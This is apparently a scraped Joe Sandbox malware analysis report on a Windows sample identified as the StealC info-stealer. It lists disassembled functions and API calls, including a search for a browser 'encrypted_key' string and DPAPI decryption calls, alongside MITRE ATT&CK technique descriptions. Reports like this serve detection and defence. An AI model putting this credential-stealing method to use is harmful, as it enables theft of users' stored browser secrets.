Part of subcall function 00D4A920: lstrcat.KERNEL32(00000000), ref: 00D4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D3D801
lstrlen.KERNEL32(00000000), ref: 00D3D99F
lstrlen.KERNEL32(00000000), ref: 00D3D9B3
DeleteFileA.KERNEL32(00000000), ref: 00D3DA32

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fafeca9f6a4a0b536e5985982710c2e9a4faad3cfa0adffd873251538bffc09f
Instruction ID: dc1ade036a89be8e7d23605ca322a674c967e57ca19bad55de2e35bbb6da6f98
Opcode Fuzzy Hash: fafeca9f6a4a0b536e5985982710c2e9a4faad3cfa0adffd873251538bffc09f
Instruction Fuzzy Hash: 80812D728501189BEB04FBA8DC92EEE7339EF54304F514529F407B6092EF346A49CBB2

Function 00D43560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 1c271c47c5aa2efe056ecdb1acb9bf87108b78aa54f4339ceeb82498b9403cb0
Instruction ID: fd2ac6ea8b4900622e03f071c8d3d5949b349896e7955537b2bab5a980cf4e03
Opcode Fuzzy Hash: 1c271c47c5aa2efe056ecdb1acb9bf87108b78aa54f4339ceeb82498b9403cb0
Instruction Fuzzy Hash: 6C412E71D14209AFDF04EFA8D845AEEB774EF54304F148018F81676291DB75AA49CFB2

Function 00D39CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00D4A740: lstrcpy.KERNEL32(00D50E17,00000000), ref: 00D4A788

Part of subcall function 00D399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D399EC
Part of subcall function 00D399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D39A11
Part of subcall function 00D399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D39A31
Part of subcall function 00D399C0: ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D39A5A
Part of subcall function 00D399C0: LocalFree.KERNEL32(00D3148F), ref: 00D39A90
Part of subcall function 00D399C0: CloseHandle.KERNEL32(000000FF), ref: 00D39A9A

Part of subcall function 00D48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D48E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D39D39

Part of subcall function 00D39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34EEE,00000000,00000000), ref: 00D39AEF
Part of subcall function 00D39AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00D34EEE,00000000,?), ref: 00D39B01
Part of subcall function 00D39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34EEE,00000000,00000000), ref: 00D39B2A
Part of subcall function 00D39AC0: LocalFree.KERNEL32(?,?,?,?,00D34EEE,00000000,?), ref: 00D39B3F

Part of subcall function 00D39B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D39B84
Part of subcall function 00D39B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00D39BA3
Part of subcall function 00D39B60: LocalFree.KERNEL32(?), ref: 00D39BD3

Strings

, xrefs: 00D39DC1
DPAPI, xrefs: 00D39D89
"encrypted_key":", xrefs: 00D39D30

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: f11f06779eece05c3cf3101826bb8d39d06734bddfcc062b5896b0a4c00112ca
Instruction ID: 04d133b2008f0feb1de8ef08336e5fc1e691d773cbadb19cb3259f0d567c855c
Opcode Fuzzy Hash: f11f06779eece05c3cf3101826bb8d39d06734bddfcc062b5896b0a4c00112ca
Instruction Fuzzy Hash: 37312FB6D10209ABCF14DFE4DC96AEFB7B8EF48304F184519E905A7241EB749A05CBB1

Function 00D492E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00D43AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00D43AEE,?), ref: 00D492FC
GetFileSizeEx.KERNEL32(000000FF,00D43AEE), ref: 00D49319
CloseHandle.KERNEL32(000000FF), ref: 00D49327

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: d1bc7c5384f2df8913f396e0c6db724032b3caca6a4fc0bedf2627a0b77274ca
Instruction ID: ae9a10ebb245fde290d2ef09c79049fe71e8557ca2d78d5ae76a12bad3d8acf8
Opcode Fuzzy Hash: d1bc7c5384f2df8913f396e0c6db724032b3caca6a4fc0bedf2627a0b77274ca
Instruction Fuzzy Hash: C3F0A934E00208BBDB14DFB1DC19F9EB7B9AB88320F11C254BA55A72C0D670AA419B51

Function 00D4C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D4C74E

Part of subcall function 00D4BF9F: __amsg_exit.LIBCMT ref: 00D4BFAF

__getptd.LIBCMT ref: 00D4C765
__amsg_exit.LIBCMT ref: 00D4C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00D4C797

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 35a1ff5c8c591069060a818e2164055f79535bb6c5585f41e61c65dabcb8a52b
Instruction ID: 29935a6414632201ced1ed2a2306b2e1e77edaa955fd15cc666faa069bb0ad2e
Opcode Fuzzy Hash: 35a1ff5c8c591069060a818e2164055f79535bb6c5585f41e61c65dabcb8a52b
Instruction Fuzzy Hash: 51F0B4329527109BDB70BBBC5807B5D33A0EF10732F24514AF844A62D2DB6499449E76

Function 00D44F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48E0B

lstrcat.KERNEL32(?,00000000), ref: 00D44F7A
lstrcat.KERNEL32(?,00D51070), ref: 00D44F97
lstrcat.KERNEL32(?,008D89F0), ref: 00D44FAB
lstrcat.KERNEL32(?,00D51074), ref: 00D44FBD

Part of subcall function 00D44910: wsprintfA.USER32 ref: 00D4492C
Part of subcall function 00D44910: FindFirstFileA.KERNEL32(?,?), ref: 00D44943

Part of subcall function 00D44910: StrCmpCA.SHLWAPI(?,00D50FDC), ref: 00D44971
Part of subcall function 00D44910: StrCmpCA.SHLWAPI(?,00D50FE0), ref: 00D44987
Part of subcall function 00D44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D44B7D
Part of subcall function 00D44910: FindClose.KERNEL32(000000FF), ref: 00D44B92

Memory Dump Source

Source File: 00000000.00000002.2120930222.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.2120913969.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2120930222.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000000F8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001116000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.00000000011F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001218000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121105174.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121435599.0000000001229000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121551459.00000000013C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121571129.00000000013C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: bfdeca920183c7508590d2e13523a352ce13fd56b4b7783b0235e610f31b1fd6
Instruction ID: 7abd70461d1d544a86826db372bc2bc92e33cb0c372b89da0884d4f52500f952
Opcode Fuzzy Hash: bfdeca920183c7508590d2e13523a352ce13fd56b4b7783b0235e610f31b1fd6
Instruction Fuzzy Hash: 0421867A9402086BCB54FBB0DC46EED333CEB98301F004558BA5992181EE749ACC9BB3

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00D49860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00D345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00D34880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00D49C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00D36280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00D45510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00D417A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00D47500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00D469F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00D31220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00D46AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00D347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00D451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON